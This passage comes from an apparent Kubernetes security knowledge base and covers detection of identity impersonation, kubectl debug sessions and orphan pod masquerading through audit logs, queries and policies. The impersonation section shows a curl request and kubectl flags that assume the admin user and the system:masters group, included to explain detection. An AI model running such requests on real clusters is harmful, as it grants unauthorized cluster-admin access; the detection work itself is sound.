resources: ["events"] - level: Request verbs: ["create", "patch"] resources: - group: "" resources: ["events"] ``` `Metadata` level captures the creator identity. `Request` level is required to inspect `requestObject` for encoded data in the `message` or `reportingInstance` fields. ### Detecting Impersonation Abuse HTML: https://kubernetes-security.cloud/topics/detecting-impersonation-abuse Markdown: https://kubernetes-security.cloud/topics/detecting-impersonation-abuse.md --- title: "Detecting Impersonation Abuse" description: "Identifying impersonation abuse by inspecting the impersonatedUser audit field and reviewing which subjects hold the impersonate verb" category: "defensive" phase: null offensiveType: null impact: "When audit logging records impersonated identity, you can see who someone became for a call. Without it, impersonation blends into normal cluster traffic because authorization runs under the impersonated subject." mitigation: - "Enable Kubernetes audit logging with a policy that records requests carrying Impersonate-* headers. The `impersonatedUser` field in audit events is the primary signal." - "Regularly audit ClusterRoles and ClusterRoleBindings that grant the `impersonate` verb on `users`, `groups`, `serviceaccounts`, or `uids`. Keep the grant narrow and name-bound." - "Alert on impersonation from identities that should never use it (application ServiceAccounts, CI bots outside break-glass workflows)." - "Treat impersonation of `system:masters`, `system:admin`, or cluster-admin groups as high-priority regardless of source." tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-15T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Check who can impersonate identities - Category: defensive - Phase: N/A - Objective: Identifying impersonation abuse by inspecting the impersonatedUser audit field and reviewing which subjects hold the impersonate verb ### Action checklist - Check who can impersonate identities - List all ServiceAccounts that can impersonate - Check if a specific identity can impersonate - Enumerate what an identity can do while impersonating - Search for impersonation evidence - Impersonation of high privilege groups - ServiceAccount impersonation targeting cluster admin - Check for permission enumeration before impersonation ### Key commands - `curl -sk -H "Authorization: Bearer $TOKEN" \` - `-H "Impersonate-User: admin" \` - `-H "Impersonate-Group: system:masters" \` - `"$APISERVER/api/v1/namespaces"` - `kubectl get clusterroles -o json \` - `| jq -r '.items[] | select(.rules[]?.verbs[]? == "impersonate") | {name: .metadata.name, rules: [.rules[] | select(.verbs[]? == "impersonate") | {resources, resourceNames, apiGroups}]} | "\(.name):\n" + ([.rules[] | " resources: \(.resources // []), resourceNames: \(.resourceNames // ["(none)"]), apiGroups: \(.apiGroups // [])"] | join("\n"))'` - `CLUSTERROLE="impersonator"` - `kubectl get clusterrolebindings -o json \` - `| jq -r --arg cr "$CLUSTERROLE" '` - `.items[]` --- Kubernetes audit events separate the authenticated caller from the impersonated identity. When a request carries `Impersonate-User`, `Impersonate-Group`, or related headers, the API server records the real caller under `user` and the assumed identity under `impersonatedUser`. That split is the detection anchor. > [!NOTE] > Kubernetes audit logging must be enabled on the API server. If auditing is off or the policy does not cover the relevant requests, impersonation produces no distinguishable trail. ## Impersonate-* Headers Impersonation is triggered by HTTP headers the client sends alongside a valid `Authorization` header. The API server authenticates the real caller first, then checks whether that caller holds `impersonate` on the attribute being faked. If RBAC allows it, every downstream authorization decision runs as the impersonated identity instead. The headers and their RBAC mappings are: | Header | RBAC resource | `apiGroups` | Example | | --- | --- | --- | --- | | `Impersonate-User` | `users` | `""` | `Impersonate-User: admin` | | `Impersonate-Group` | `groups` | `""` | `Impersonate-Group: system:masters` | | `Impersonate-Uid` | `uids` | `authentication.k8s.io` | `Impersonate-Uid: a1b2c3d4-...` | | `Impersonate-Extra-` | `userextras/` | `authentication.k8s.io` | `Impersonate-Extra-scopes: read-write` | Multiple `Impersonate-Group` headers can be sent in one request to assume several groups at once. `Impersonate-User` and `Impersonate-Group` are the most common pair seen in attacks. Together they let a caller with low privileges assume a user and group with high privileges in a single request. `kubectl --as admin --as-group system:masters` sends the same headers as a raw HTTP client: ``` Impersonate-User: admin Impersonate-Group: system:masters ``` The `curl` equivalent: ```bash curl -sk -H "Authorization: Bearer $TOKEN" \ -H "Impersonate-User: admin" \ -H "Impersonate-Group: system:masters" \ "$APISERVER/api/v1/namespaces" ``` > [!IMPORTANT] > When `resourceNames` is absent from the ClusterRole rule, the `impersonate` grant applies to **any** user, group, or ServiceAccount. An attacker with this grant can become any identity in the cluster, including `system:masters` members. Always bind `impersonate` with explicit `resourceNames` to limit which identities can be assumed. ## Signal 1: Impersonated Identity in Audit Logs Every audit event written after impersonation contains two identity blocks: - `user`: the authenticated subject (who presented the credential). - `impersonatedUser`: the identity the API server used for authorization. When there is no impersonation, `impersonatedUser` is absent. ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "c72f8a05-9b13-4e91-b5e8-3e1d6f2a4c09", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces", "verb": "list", "user": { "username": "ci-bot", "groups": ["system:serviceaccounts", "system:serviceaccounts:ops", "system:authenticated"] }, "impersonatedUser": { "username": "admin", "groups": ["system:masters", "system:authenticated"] }, "sourceIPs": ["10.0.0.42"], "userAgent": "curl/8.5.0", "objectRef": { "resource": "namespaces", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-04-15T09:12:33.410221Z", "stageTimestamp": "2026-04-15T09:12:33.413581Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The `user.username` is `ci-bot`. The `impersonatedUser.username` is `admin` in `system:masters`. This is the detection signal. A caller with low privileges assumed an identity with high privileges. ## Signal 2: RBAC Grants for Impersonation Impersonation requires the `impersonate` verb on `users`, `groups`, or `serviceaccounts`. Proactively auditing these grants helps identify potential abuse paths before they are exploited. The headers and their RBAC mappings are: | Header | RBAC resource | `apiGroups` | Example | | --- | --- | --- | --- | | `Impersonate-User` | `users` | `""` | `Impersonate-User: admin` | | `Impersonate-Group` | `groups` | `""` | `Impersonate-Group: system:masters` | | `Impersonate-Uid` | `uids` | `authentication.k8s.io` | `Impersonate-Uid: a1b2c3d4-...` | When `resourceNames` is absent from the ClusterRole rule, the `impersonate` grant applies to **any** user, group, or ServiceAccount. An attacker with this grant can become any identity in the cluster, including `system:masters` members. ### Check who can impersonate identities List every ClusterRole that grants the `impersonate` verb: ```bash kubectl get clusterroles -o json \ | jq -r '.items[] | select(.rules[]?.verbs[]? == "impersonate") | {name: .metadata.name, rules: [.rules[] | select(.verbs[]? == "impersonate") | {resources, resourceNames, apiGroups}]} | "\(.name):\n" + ([.rules[] | " resources: \(.resources // []), resourceNames: \(.resourceNames // ["(none)"]), apiGroups: \(.apiGroups // [])"] | join("\n"))' ``` For each ClusterRole returned, list the subjects that hold it: ```bash CLUSTERROLE="impersonator" kubectl get clusterrolebindings -o json \ | jq -r --arg cr "$CLUSTERROLE" ' .items[] | select(.roleRef.name == $cr) | .subjects[]?? | "\(.kind)/\(.name) in \(.namespace // "cluster-scope")" ' ``` Flag bindings where `resourceNames` is absent, the subject is a ServiceAccount in an application namespace, or the impersonated resource includes `system:masters`. > [!NOTE] > The built-in `admin` and `edit` ClusterRoles both grant `impersonate` on `serviceaccounts` by default. Any subject bound to these roles in a namespace can impersonate any service account within that namespace. Treat namespace-scoped `admin` and `edit` bindings as implicit impersonation grants when auditing for lateral movement risk. ### List all ServiceAccounts that can impersonate Enumerate every ServiceAccount bound to a ClusterRole with the `impersonate` verb: ```bash kubectl get clusterroles -o json > /tmp/cr.json && \ kubectl get clusterrolebindings -o json > /tmp/crb.json && \ jq -r --slurpfile cr /tmp/cr.json ' .items[] | select( (.roleRef.name) as $crName | $cr[0].items[] | select(.metadata.name == $crName and .rules[]?.verbs[]? == "impersonate") ) | .subjects[]? | select(.kind == "ServiceAccount") | "\(.namespace)/\(.name)" ' /tmp/crb.json ``` Any ServiceAccount in an application namespace (not `kube-system`) that appears here should be reviewed. Application workloads rarely need impersonation. ### Check if a specific identity can impersonate Test whether a ServiceAccount has the `impersonate` verb on users or groups: ```bash kubectl auth can-i impersonate users --as=system:serviceaccount:ops:ci-bot ``` ```bash kubectl auth can-i impersonate groups --as=system:serviceaccount:ops:ci-bot ``` A response of `yes` means the identity can impersonate any user or group unless the ClusterRole restricts it with `resourceNames`. ### Enumerate what an identity can do while impersonating Check if a ServiceAccount can reach sensitive resources while impersonating a privileged user: ```bash kubectl auth can-i list secrets --as=system:serviceaccount:ops:ci-bot --as=admin ``` ```bash kubectl auth can-i create pods --as=system:serviceaccount:ops:ci-bot --as=admin ``` This reveals the effective permissions the identity gains through impersonation. A `yes` here means the impersonation grant is powerful enough to access cluster secrets or create workloads as the target user. ## Detection Queries Assuming API server audit logs are shipped to Loki with the label `{job="k8s-audit"}`. ### Search for impersonation evidence Filter for events where `impersonatedUser` is present: ```bash logcli query '{job="k8s-audit"} |= "impersonatedUser"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, impersonated: .impersonatedUser.username, verb: .verb, resource: .objectRef.resource}' ``` ### Impersonation of high privilege groups ```bash logcli query '{job="k8s-audit"} |= "impersonatedUser" |= "system:masters"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, impersonated: .impersonatedUser.username, verb: .verb, resource: .objectRef.resource}' ``` Any hit is worth investigating. Legitimate impersonation of `system:masters` is rare and usually confined to break-glass workflows. ### ServiceAccount impersonation targeting cluster admin This narrows results to the most dangerous pattern where a workload identity assumes cluster admin privileges: ```bash logcli query '{job="k8s-audit"} |= "impersonatedUser" |= "system:masters" |= "system:serviceaccount:"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, impersonated: .impersonatedUser.username, verb: .verb, resource: .objectRef.resource}' ``` ## Known Legitimate Impersonation Patterns Not every `impersonatedUser` is hostile. The following are common authorized uses: | Source | Typical use | | --- | --- | | `kubectl --as` / `--as-group` | Admin debugging RBAC for another user | | CI/CD pipelines | Deploying as a dedicated deployer ServiceAccount | | Break-glass tools | Temporary admin access through a privileged group | | Gatekeeper / OPA | Policy controllers testing subject access | The detection signal is impersonation **outside** these patterns. A burst of impersonation from a ServiceAccount that has never done it before, or impersonation of `system:masters` from an unexpected source IP, should trigger investigation. ## Correlation with Other Signals Impersonation rarely happens in isolation. After finding impersonation evidence, check for related activity from the same identity. ### Check for permission enumeration before impersonation An attacker often enumerates their own permissions before impersonating: ```bash logcli query '{job="k8s-audit"} |= "resource":"selfsubjectrulesreviews" |= "verb":"create"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, auditID: .auditID, timestamp: .requestReceivedTimestamp}' ``` A spike in `SelfSubjectRulesReview` requests from the same identity that later impersonated suggests the attacker was mapping their capabilities first. ### Check what the impersonated identity accessed After identifying the real caller and the impersonated target, look for sensitive actions taken during the impersonation window: ```bash logcli query '{job="k8s-audit"} |= "impersonatedUser" |= "secrets"' \ --output=jsonl \ | jq -r '.line | fromjson | {auditID: .auditID, user: .user.username, impersonated: .impersonatedUser.username, verb: .verb, resource: .objectRef.resource, namespace: .objectRef.namespace}' ``` This reveals whether the attacker used the assumed identity to read secrets, create privileged pods, or access other sensitive resources. ### Check for source IP anomalies Impersonation from an unexpected source IP is a strong signal. Filter audit events to compare the source IP against where the ServiceAccount normally runs: ```bash logcli query '{job="k8s-audit"} |= "impersonatedUser"' \ --output=jsonl \ | jq -r '.line | fromjson' \ | jq -s 'group_by(.user.username) | map({user: .[0].user.username, count: length, targets: ([.[].impersonatedUser.username] | unique), sourceIPs: ([.[].sourceIPs[]?] | unique)})' ``` Impersonation from a pod IP that does not match the node where the ServiceAccount's workload runs warrants immediate investigation. ## Audit Policy Requirements `Metadata` level is enough to see `user` and `impersonatedUser`. You do not need `Request` or `RequestResponse` to detect impersonation itself, though those levels add request bodies for deeper investigation. Impersonation cannot be targeted in an audit policy by verb or resource. The `impersonate` verb exists only in the RBAC authorization layer and never appears as a request verb in audit events. The `impersonatedUser` field is attached to the actual API request (list, get, create, etc.) that runs under the assumed identity. There is no audit policy rule that matches exclusively on impersonated requests. The only approach is a catch-all rule that logs all requests: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata ``` Detection is done at query time by filtering for events where `impersonatedUser` is present, not at policy definition time. ### Detecting kubectl debug Activity via Audit Logs HTML: https://kubernetes-security.cloud/topics/detecting-kubectl-debug-activity-via-audit-logs Markdown: https://kubernetes-security.cloud/topics/detecting-kubectl-debug-activity-via-audit-logs.md --- title: "Detecting kubectl debug Activity via Audit Logs" description: "Identifying ephemeral container injection and node debug pod creation through API server audit events" category: "defensive" phase: null offensiveType: null impact: "kubectl debug leaves distinct audit events regardless of whether the session is interactive or not. Ephemeral container injection and node debug pod creation each produce unique API calls that do not appear in normal workload operations, making them reliable signals for detecting debug access in production." mitigation: - "Alert on patch events against the pods/ephemeralcontainers subresource, which is only used when kubectl debug attaches an ephemeral container to a running pod" - "Alert on pod creation where the pod name matches the node-debugger-* pattern, which kubectl debug node generates automatically" - "Cross-reference both signals against known break-glass users and namespaces to filter out legitimate operator activity" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-12T00:00:00.000Z" --- ## LLM Action Focus - Primary action: 1. Initial pod read - Category: defensive - Phase: N/A - Objective: Identifying ephemeral container injection and node debug pod creation through API server audit events ### Action checklist - 1. Initial pod read - 2. Ephemeral container injection - 3. Log retrieval - Pod creation event - Pod deletion event - Detect ephemeral container injection - Detect node debug pod creation ### Key commands - `logcli query '{job="k8s-audit"} |= "subresource":"ephemeralcontainers" |= "verb":"patch"' \` - `--output=jsonl \` - `| jq -r '.line | fromjson | {user: .user.username, pod: .objectRef.name, timestamp: .requestReceivedTimestamp}'` - `logcli query '{job="k8s-audit"} |= "verb":"create" |= "resource":"pods" |= "node-debugger-"' \` --- `kubectl debug` runs in two modes. The first attaches an ephemeral container directly to a running pod without restarting it. The second creates a new pod on a specific node with host access. Both modes produce audit events that do not appear during normal workload operations. ## Signal 1: Ephemeral Container Injection When `kubectl debug` runs against a running pod, kubectl first reads the current pod spec, then patches the `pods/ephemeralcontainers` subresource to inject the debug container. No controller or scheduler touches this subresource during normal cluster operation. A `patch` event against it is always user-initiated. ### 1. Initial pod read ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods/order-service-589fc77b9d-82k28", "verb": "get", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "production", "name": "order-service-589fc77b9d-82k28", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-04-11T15:47:09.499970Z", "stageTimestamp": "2026-04-11T15:47:09.503218Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` ### 2. Ephemeral container injection Arrives milliseconds later from the same user and source IP: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "b2c3d4e5-f6a7-8901-bcde-f12345678901", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods/order-service-589fc77b9d-82k28/ephemeralcontainers", "verb": "patch", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "production", "name": "order-service-589fc77b9d-82k28", "apiVersion": "v1", "subresource": "ephemeralcontainers" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-04-11T15:47:09.553192Z", "stageTimestamp": "2026-04-11T15:47:09.560775Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The `subresource: ephemeralcontainers` field in `objectRef` is the primary signal. This is the event to alert on. ### 3. Log retrieval Once the container starts, kubectl fetches session output via `pods/log`: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "c3d4e5f6-a7b8-9012-cdef-123456789012", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods/order-service-589fc77b9d-82k28/log", "verb": "get", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "production", "name": "order-service-589fc77b9d-82k28", "apiVersion": "v1", "subresource": "log" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-04-11T15:47:14.591913Z", "stageTimestamp": "2026-04-11T15:47:14.598203Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The `pods/log` access from the same user and source IP arriving seconds after the `pods/ephemeralcontainers` patch corroborates that the debug session ran and produced output. ## Signal 2: Node Debug Pod Creation `kubectl debug node/` produces a pod with these characteristics: - **Name** follows the pattern `node-debugger--`, generated by kubectl - **Namespace** is wherever the caller specifies with `-n`, defaulting to `default` - **No `ownerReferences`** — not managed by any controller - **Persists** in `Completed` state after the session ends and must be removed manually ### Pod creation event ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "d4e5f6a7-b8c9-0123-defa-234567890123", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/default/pods", "verb": "create", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "default", "name": "node-debugger-worker-node-1-qqxwt", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T15:46:26.960836Z", "stageTimestamp": "2026-04-11T15:46:26.967515Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "", "pod-security.kubernetes.io/enforce-policy": "privileged:latest" } } ``` The `pod-security.kubernetes.io/enforce-policy: privileged:latest` annotation confirms the pod was admitted under the `privileged` policy, consistent with a node debug pod that mounts the host filesystem. ### Pod deletion event When the pod is removed, the audit log records a `delete` event for the same pod name: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "e5f6a7b8-c9d0-1234-efab-345678901234", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/default/pods/node-debugger-worker-node-1-qqxwt", "verb": "delete", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "default", "name": "node-debugger-worker-node-1-qqxwt", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-04-11T15:51:11.595603Z", "stageTimestamp": "2026-04-11T15:51:11.602418Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The `create` and `delete` pair for a `node-debugger-*` pod from the same user within a short window is the full audit footprint of a node debug session. ## Detection Queries Assuming API server audit logs are shipped to Loki with the label `{job="k8s-audit"}`. ### Detect ephemeral container injection Filter for patch events against the `pods/ephemeralcontainers` subresource: ```bash logcli query '{job="k8s-audit"} |= "subresource":"ephemeralcontainers" |= "verb":"patch"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, pod: .objectRef.name, timestamp: .requestReceivedTimestamp}' ``` ### Detect node debug pod creation Filter for pod creation events matching the `node-debugger-` prefix: ```bash logcli query '{job="k8s-audit"} |= "verb":"create" |= "resource":"pods" |= "node-debugger-"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, pod: .objectRef.name, timestamp: .requestReceivedTimestamp}' ``` ## Known Legitimate Debug Users Not every debug session is hostile. The following are common authorized uses: | Identity | Typical use | | --- | --- | | Cluster operators | Troubleshooting application issues in production | | Break-glass users | Emergency access during incidents | | SRE teams | Investigating node-level resource exhaustion | The detection signal is debug activity **outside** these patterns. A developer account using `kubectl debug` on a production pod without a corresponding incident ticket should trigger investigation. ## Audit Policy Requirements A minimal audit policy that captures both signals: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata resources: - group: "" resources: ["pods"] ``` `Metadata` level is sufficient for both signals. The `subresource` field in `objectRef` identifies ephemeral container injection, and the `node-debugger-` prefix in `objectRef.name` identifies node debug pods. ## Limitations Both signals depend on audit logging capturing the `pods` resource at `Metadata` level or higher. A minimal policy that covers both: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata resources: - group: "" resources: ["pods"] ``` The `node-debugger-` prefix is generated by the kubectl client. A user creating a node debug pod via a raw API call can choose any pod name, bypassing that signal. The `pods/ephemeralcontainers` subresource signal is not bypassable in the same way because the subresource is fixed by the Kubernetes API regardless of the client used. ### Detecting Orphan Pod Masquerading via Audit Logs HTML: https://kubernetes-security.cloud/topics/detecting-orphan-pod-masquerading-via-audit-logs Markdown: https://kubernetes-security.cloud/topics/detecting-orphan-pod-masquerading-via-audit-logs.md --- title: "Detecting Orphan Pod Masquerading via Audit Logs" description: "Identifying pods that mimic controller-managed naming patterns but were created directly by a user rather than a controller" category: "defensive" phase: null offensiveType: null impact: "Surfaces masquerading pods planted by attackers that blend in with Deployment or DaemonSet workloads. A pod with a controller-like name but no ownerReferences and a human user as its creator is a reliable indicator of the orphan pod masquerading technique." mitigation: - "Monitor the API server audit log for pod create events where the user is not a known controller service account such as replicaset-controller, daemonset-controller, or job-controller" - "Cross-reference any flagged pod name against the naming pattern of existing controllers in the same namespace to determine if masquerading was attempted" - "Confirm the finding by checking the pod's ownerReferences, which will be absent on an orphan pod regardless of how convincing its name looks" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-12T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Detect non-controller pod creation - Category: defensive - Phase: N/A - Objective: Identifying pods that mimic controller-managed naming patterns but were created directly by a user rather than a controller ### Action checklist - Detect non-controller pod creation - Confirm with ownerReferences ### Key commands - `logcli query '{job="k8s-audit"} |= "resource":"pods" |= "verb":"create" !~ "username":"system:serviceaccount:kube-system:"' \` - `--output=jsonl \` - `| jq -r '.line | fromjson | {user: .user.username, pod: .objectRef.name, namespace: .objectRef.namespace, timestamp: .requestReceivedTimestamp}'` - `kubectl get pods -n \` - `-o custom-columns='NAME:.metadata.name,OWNER:.metadata.ownerReferences[0].kind,OWNER_NAME:.metadata.ownerReferences[0].name'` --- Pods in a Kubernetes cluster are normally created by controllers. A Deployment creates pods through a ReplicaSet, a DaemonSet creates them directly, a Job spawns them for each task. In all cases, the controller's service account appears as the creator in the API server audit log and the pod carries an `ownerReferences` field linking it back to its parent. An attacker using orphan pod masquerading creates a pod directly, copying the naming pattern of a real controller-managed workload. The pod looks identical in `kubectl get pods` output but has no controller behind it. The audit log exposes this because the creator is a human user or arbitrary service account, not a controller. That signal is available the moment the pod is created, before any inspection of the pod itself. ## What the Audit Log Reveals Every pod creation produces a `ResponseComplete` audit event. The `user.username` field tells you who issued the create call. Two additional fields help narrow the investigation: - **`userAgent`**: controller-managed pods show a `kube-controller-manager` agent. A directly created pod shows `kubectl` or another client tool. - **`requestURI`**: a direct pod creation via `kubectl apply` includes `fieldManager=kubectl-client-side-apply` in the query string. Controller-created pods do not. For a pod created by a Deployment scaling up, the audit event looks like this: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "e672a0e2-c487-4c66-a30b-4609281f1a88", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods", "verb": "create", "user": { "username": "system:serviceaccount:kube-system:replicaset-controller", "groups": ["system:serviceaccounts", "system:serviceaccounts:kube-system", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["JTI=3b269adf-58bb-4737-8c9f-1b35da6f6bca"] } }, "sourceIPs": ["10.0.0.1"], "userAgent": "kube-controller-manager/v1.35.1 (linux/arm64) kubernetes/8fea90b/system:serviceaccount:kube-system:replicaset-controller", "objectRef": { "resource": "pods", "namespace": "production", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T14:58:26.451843Z", "stageTimestamp": "2026-04-11T14:58:26.455416Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "RBAC: allowed by ClusterRoleBinding \"system:controller:replicaset-controller\" of ClusterRole \"system:controller:replicaset-controller\" to ServiceAccount \"replicaset-controller/kube-system\"" } } ``` For an orphan pod created directly by a user, several fields change: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "7ee822bc-3c2e-4f6d-a0cd-c394663cdd43", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict", "verb": "create", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "production", "name": "order-service-7d4f9c8b6-m4l1c", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T14:59:02.015967Z", "stageTimestamp": "2026-04-11T14:59:02.026510Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The pod name `order-service-7d4f9c8b6-m4l1c` follows the controller-managed pattern exactly, but the username is `jane`, the userAgent is `kubectl`, and the requestURI includes `fieldManager=kubectl-client-side-apply`. ## Signal 1: Non-Controller Creator Every pod creation produces a `ResponseComplete` audit event. The `user.username` field tells you who issued the create call. For a pod created by a Deployment scaling up, the audit event looks like this: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "e672a0e2-c487-4c66-a30b-4609281f1a88", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods", "verb": "create", "user": { "username": "system:serviceaccount:kube-system:replicaset-controller", "groups": ["system:serviceaccounts", "system:serviceaccounts:kube-system", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["JTI=3b269adf-58bb-4737-8c9f-1b35da6f6bca"] } }, "sourceIPs": ["10.0.0.1"], "userAgent": "kube-controller-manager/v1.35.1 (linux/arm64) kubernetes/8fea90b/system:serviceaccount:kube-system:replicaset-controller", "objectRef": { "resource": "pods", "namespace": "production", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T14:58:26.451843Z", "stageTimestamp": "2026-04-11T14:58:26.455416Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "RBAC: allowed by ClusterRoleBinding \"system:controller:replicaset-controller\" of ClusterRole \"system:controller:replicaset-controller\" to ServiceAccount \"replicaset-controller/kube-system\"" } } ``` For an orphan pod created directly by a user, the `user.username` is a human or arbitrary service account: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "7ee822bc-3c2e-4f6d-a0cd-c394663cdd43", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict", "verb": "create", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "pods", "namespace": "production", "name": "order-service-7d4f9c8b6-m4l1c", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T14:59:02.015967Z", "stageTimestamp": "2026-04-11T14:59:02.026510Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The pod name `order-service-7d4f9c8b6-m4l1c` follows the controller-managed pattern exactly, but the username is `jane`, the userAgent is `kubectl`, and the requestURI includes `fieldManager=kubectl-client-side-apply`. ## Signal 2: userAgent and requestURI Differences A pod created via a raw HTTP call to the API server produces the same kind of audit event. The difference is in the `userAgent` and `requestURI` fields. ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "279c4874-5bcf-45e8-9ff2-9e41720b5896", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods", "verb": "create", "user": { "username": "system:serviceaccount:production:deployer", "uid": "545a0313-dde5-4431-9381-4b3930902272", "groups": ["system:serviceaccounts", "system:serviceaccounts:production", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["JTI=830e888f-0677-4bf3-8e89-e6c0ee4390df"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "curl/8.7.1", "objectRef": { "resource": "pods", "namespace": "production", "name": 